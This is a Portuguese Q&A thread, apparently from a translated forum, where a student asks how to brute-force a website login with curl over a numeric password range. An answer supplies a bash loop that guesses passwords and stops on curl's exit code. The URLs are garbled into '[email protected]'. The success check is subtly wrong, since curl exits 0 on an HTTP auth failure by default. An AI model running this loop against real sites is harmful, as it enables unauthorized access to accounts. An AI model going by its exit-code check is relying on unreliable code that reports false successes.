Como posso acessar um site do terminal?

8

Como estudante de ciência da computação, agora estou aprendendo a trabalhar com linha de comando. Preciso usar força bruta para fazer login em um site, sabendo o nome de usuário e que a senha é um número inteiro em um determinado intervalo. É isso que eu tenho até agora, mas parece não funcionar.

 for i in {2000..3000}; do curl http://admin:[email protected]/link; done

Como posso proceder?

Kabachok
fonte

Respostas:

6

O que falta à sua rotina é uma maneira de sair assim que o correto ifor encontrado. Para isso, você pode olhar o código de saída devolvido do curl:

for i in {2000..3000}
do 
  curl http://admin:[email protected]/link
  if [ "$?" -eq 0 ]; then
    echo Found "$i"
    break
  fi
done

O valor de saída curlé 0 quando tudo estiver correto e pode ser verificado diretamente após a parada do programa, inspecionando a variável especial $?. Use man curle pesquise para EXIT CODEver todas as coisas diferentes que curlpodem lhe dizer com seu código de saída.

Anthon
fonte